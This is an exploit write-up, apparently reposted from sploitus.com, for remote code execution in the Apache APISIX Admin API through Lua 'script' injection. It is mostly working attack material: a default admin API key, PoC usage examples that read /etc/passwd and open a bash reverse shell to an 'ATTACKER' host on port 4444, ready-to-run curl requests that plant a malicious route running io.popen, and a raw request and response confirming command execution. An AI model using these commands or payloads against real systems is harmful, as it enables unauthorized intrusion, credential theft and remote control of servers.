Share
## https://sploitus.com/exploit?id=A850288C-3512-5B06-84FB-869F100C7956
# Apache APISIX - Remote Code Execution

Admin API script injection via `loadstring()`.

---

## The Bug

APISIX allows defining route logic via a `script` field. The script is compiled and executed using Lua's `loadstring()` with **zero sanitization**.

**Vulnerable code** โ€” `apisix/script.lua:32`:
```lua
local loadfun, err = loadstring(script, "route#" .. route.value.id)
```

Same pattern in `apisix/admin/routes.lua:150` and `apisix/admin/routes.lua:162`.

Any authenticated request to the Admin API can inject arbitrary Lua code.

---

## Requirements

- Access to Admin API (default: port `9180`)
- Valid `X-API-KEY` header

Default key in most deployments: `edd1c9f034335f136f87ad84b625c8f1`

---

## Usage

```bash
python3 poc.py -t http://TARGET:9180 -k API_KEY -c "id"
```

| Flag | Description |
|------|-------------|
| `-t` | Admin API URL (default: `http://127.0.0.1:9180`) |
| `-k` | API key (default: `edd1c9f034335f136f87ad84b625c8f1`) |
| `-c` | Command to execute (default: `id`) |
| `--cleanup` | Remove injected route after execution |

**Examples:**

```bash
# Basic
python3 poc.py -t http://10.10.10.50:9180

# Custom command
python3 poc.py -t http://10.10.10.50:9180 -c "cat /etc/passwd"

# Reverse shell
python3 poc.py -t http://10.10.10.50:9180 -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
```

---

## Exploitation

**1. Create a malicious route:**

```bash
curl -X PUT "http://TARGET:9180/apisix/admin/routes/pwned" \
  -H "Content-Type: application/json" \
  -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
  -d '{
    "uri": "/rce",
    "script": "local h = io.popen(\"id\") local r = h:read(\"*a\") h:close() return { access = function() ngx.say(r) ngx.exit(200) end }",
    "upstream": {"type": "roundrobin", "nodes": {"127.0.0.1:80": 1}}
  }'
```

**2. Trigger execution:**

```bash
curl "http://TARGET:9080/rce"
```

---

## Proof

**Request โ€” Create route with injected script:**

```http
PUT /apisix/admin/routes/rce_demo HTTP/1.1
Host: 127.0.0.1:9180
Content-Type: application/json
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

{
  "uri": "/pwned",
  "script": "local handle = io.popen(\"id\") local result = handle:read(\"*a\") handle:close() return { access = function(ctx) ngx.say(result) ngx.exit(200) end }",
  "upstream": {"type": "roundrobin", "nodes": {"127.0.0.1:80": 1}}
}
```

**Response:**

```json
{
  "value": {
    "uri": "/pwned",
    "script": "local handle = io.popen(\"id\") local result = handle:read(\"*a\") handle:close() return { access = function(ctx) ngx.say(result) ngx.exit(200) end }",
    "id": "rce_demo",
    "create_time": 1768059440,
    "upstream": {
      "type": "roundrobin",
      "nodes": {
        "127.0.0.1:80": 1
      }
    },
    "update_time": 1768059440
  },
  "key": "/apisix/routes/rce_demo"
}
```

**Trigger โ€” GET /pwned:**

```
uid=636(apisix) gid=636(apisix) groups=636(apisix)
```

**RCE confirmed.**

---

## Affected Versions

Tested on latest `master` branch (commit `3af57591`).

The `loadstring()` pattern has existed since the script feature was introduced.

---

**Athena Security**